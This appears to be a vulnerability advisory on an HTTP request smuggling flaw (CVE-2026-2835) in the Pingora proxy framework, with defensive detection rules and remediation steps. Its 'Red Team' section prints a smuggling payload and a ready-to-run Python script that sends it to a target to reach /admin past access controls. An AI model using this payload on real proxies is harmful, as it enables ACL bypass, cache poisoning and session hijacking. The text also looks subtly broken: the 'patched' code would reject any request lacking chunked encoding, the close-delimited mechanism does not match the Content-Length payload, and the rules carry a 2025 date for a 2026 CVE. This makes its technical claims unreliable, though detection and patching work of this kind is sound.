CVE-2026-2835

Executive Summary

CVE-2026-2835 is an HTTP Request Smuggling vulnerability (CWE-444) discovered in Cloudflare's Pingora proxy framework. The flaw arises from improper handling of HTTP/1.0 request bodies and ambiguous Transfer-Encoding headers. An attacker can craft malicious HTTP/1.0 requests that desynchronize Pingora's request framing from backend servers, leading to request smuggling. This can bypass proxy-level ACLs, poison caches, and hijack user sessions. Cloudflare's CDN infrastructure is not affected, but standalone Pingora deployments are vulnerable. The fix is available in Pingora v0.8.0.

Supply Chain & Package Security

Pingora is a Rust-based HTTP proxy framework distributed via crates.io. Users should verify their dependency version in Cargo.toml and ensure it is >= 0.8.0. The vulnerability is in the core HTTP parsing logic, so any application using Pingora as a proxy is affected. No known malicious packages have been reported, but supply chain integrity should be maintained by pinning versions and verifying checksums.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and affected component are the same.
• Confidentiality (C): High (H) – Potential data exposure via cache poisoning.
• Integrity (I): High (H) – Attackers can inject malicious responses.
• Availability (A): High (H) – Can disrupt service via connection desynchronization.

CVSS Score: 9.8 (Critical) – This vulnerability allows full compromise of proxy integrity and confidentiality.

Deep Dive & Mechanics

The vulnerability stems from two key issues in Pingora's HTTP/1.x parsing:

1. HTTP/1.0 Close-Delimited Bodies: RFC 9112 specifies that HTTP/1.0 request bodies must not be close-delimited (i.e., terminated by connection close). Pingora incorrectly allowed this, enabling an attacker to send a request with a body that is not properly framed, causing the proxy to misinterpret subsequent requests.

2. Multiple Transfer-Encoding Values: Pingora did not properly handle multiple Transfer-Encoding headers or values. An attacker could inject a Transfer-Encoding: chunked header alongside other values, leading to parsing discrepancies between Pingora and the backend.

Attack Flow:

• The attacker sends a crafted HTTP/1.0 request with a body that is close-delimited and includes a smuggled request prefix.
• Pingora interprets the body as part of the current request and forwards it to the backend.
• The backend, expecting a different framing, treats the smuggled prefix as a new request.
• This desynchronization allows the attacker to bypass ACLs, poison caches, or hijack sessions.

Example Malicious Request:

POST / HTTP/1.0
Host: victim.com
Content-Length: 0
Transfer-Encoding: chunked, x

0

GET /admin HTTP/1.1
Host: victim.com

In this case, Pingora might forward the entire payload, while the backend sees the smuggled GET /admin request.

Vulnerable vs. Patched Code

Vulnerable Code (Pingora < 0.8.0):

// Simplified vulnerable parsing logic
fn parse_request(data: &[u8]) -> Request {
    if is_http_1_0(data) {
        // Incorrectly allows close-delimited bodies
        let body = extract_body_close_delimited(data);
        // ...
    }
    // Does not reject multiple Transfer-Encoding headers
    let transfer_encoding = extract_transfer_encoding(data);
    // ...
}

Patched Code (Pingora >= 0.8.0):

// Corrected parsing per RFC 9112
fn parse_request(data: &[u8]) -> Result<Request, Error> {
    if is_http_1_0(data) {
        // Reject close-delimited bodies
        if has_close_delimited_body(data) {
            return Err(Error::InvalidRequest);
        }
    }
    // Strictly enforce single Transfer-Encoding: chunked
    let transfer_encoding = extract_transfer_encoding(data);
    if transfer_encoding != Some("chunked") {
        return Err(Error::InvalidRequest);
    }
    // ...
}

The patch ensures that HTTP/1.0 request bodies are never close-delimited and that only a single Transfer-Encoding: chunked header is accepted.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Pingora instance (version < 0.8.0) configured as a reverse proxy.
• A backend server that accepts HTTP/1.0 requests (e.g., Apache with HTTP/1.0 support).

Exploit Payload:

POST / HTTP/1.0
Host: victim.com
Content-Length: 0
Transfer-Encoding: chunked, x

0

GET /admin HTTP/1.1
Host: victim.com

Steps:

1. Send the payload to the Pingora proxy.
2. Pingora forwards the entire payload to the backend.
3. The backend interprets the second request (GET /admin) as a new request, bypassing ACLs.
4. The attacker can then poison caches or hijack sessions.

Automation Script (Python):

import socket

def exploit(target_host, target_port):
    payload = (
        "POST / HTTP/1.0\r\n"
        "Host: victim.com\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked, x\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: victim.com\r\n"
        "\r\n"
    )
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_host, target_port))
    sock.send(payload.encode())
    response = sock.recv(4096)
    print(response.decode())
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 8080)

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for HTTP/1.0 requests with Transfer-Encoding headers.
• Alert on multiple Transfer-Encoding headers or non-standard values.
• Use WAF rules to block requests with ambiguous framing.

Honeypot Configuration:

• Deploy a decoy backend that logs all incoming requests.
• Analyze logs for desynchronized request sequences.

Network Monitoring:

• Capture traffic at the proxy and backend.
• Look for discrepancies in request boundaries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Transfer-Encoding: chunked, x or similar malformed values.
  • HTTP/1.0 requests with Content-Length: 0 and Transfer-Encoding headers.
  • Multiple Transfer-Encoding headers in a single request.

• Log IOCs:

  • Backend logs showing unexpected request sequences (e.g., a GET /admin following a POST /).
  • Proxy logs with parsing errors or warnings about ambiguous framing.

• File IOCs:

  • Modified cache entries containing smuggled content.
  • Session tokens hijacked via cache poisoning.

Detection Engineering

YARA Rule

rule CVE_2026_2835_HTTP_Smuggling {
    meta:
        description = "Detects HTTP request smuggling attempts targeting Pingora CVE-2026-2835"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-2835"
    strings:
        $http10 = "HTTP/1.0"
        $transfer_encoding = "Transfer-Encoding"
        $chunked_x = "chunked, x"
        $multiple_te = /Transfer-Encoding:.*Transfer-Encoding:/
    condition:
        ($http10 and $transfer_encoding and $chunked_x) or $multiple_te
}

Sigma Rule

title: HTTP Request Smuggling via CVE-2026-2835
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP/1.0 requests with malformed Transfer-Encoding headers indicative of CVE-2026-2835 exploitation.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.version: "HTTP/1.0"
        http.header|contains: "Transfer-Encoding: chunked, x"
    condition: selection
falsepositives:
    - Legitimate use of non-standard Transfer-Encoding values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2835 HTTP Request Smuggling Attempt"; flow:to_server; content:"HTTP/1.0"; http_header; content:"Transfer-Encoding"; http_header; content:"chunked, x"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Pingora to version 0.8.0 or higher.
2. As a workaround, implement request filter logic to reject:
   • Non-HTTP/1.1 requests.
   • Requests with invalid Content-Length.
   • Multiple Transfer-Encoding headers.
   • Transfer-Encoding headers that are not an exact "chunked" match.

Long-Term Measures:

• Enforce strict RFC 9112 compliance in proxy parsing.
• Use a Web Application Firewall (WAF) to block ambiguous requests.
• Monitor for HTTP/1.0 traffic and consider disabling it if not needed.
• Conduct regular security audits of proxy configurations.

Patch Verification:

• Check Pingora version: pingora --version or inspect Cargo.lock.
• Verify that the fix is applied by testing with a crafted payload.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert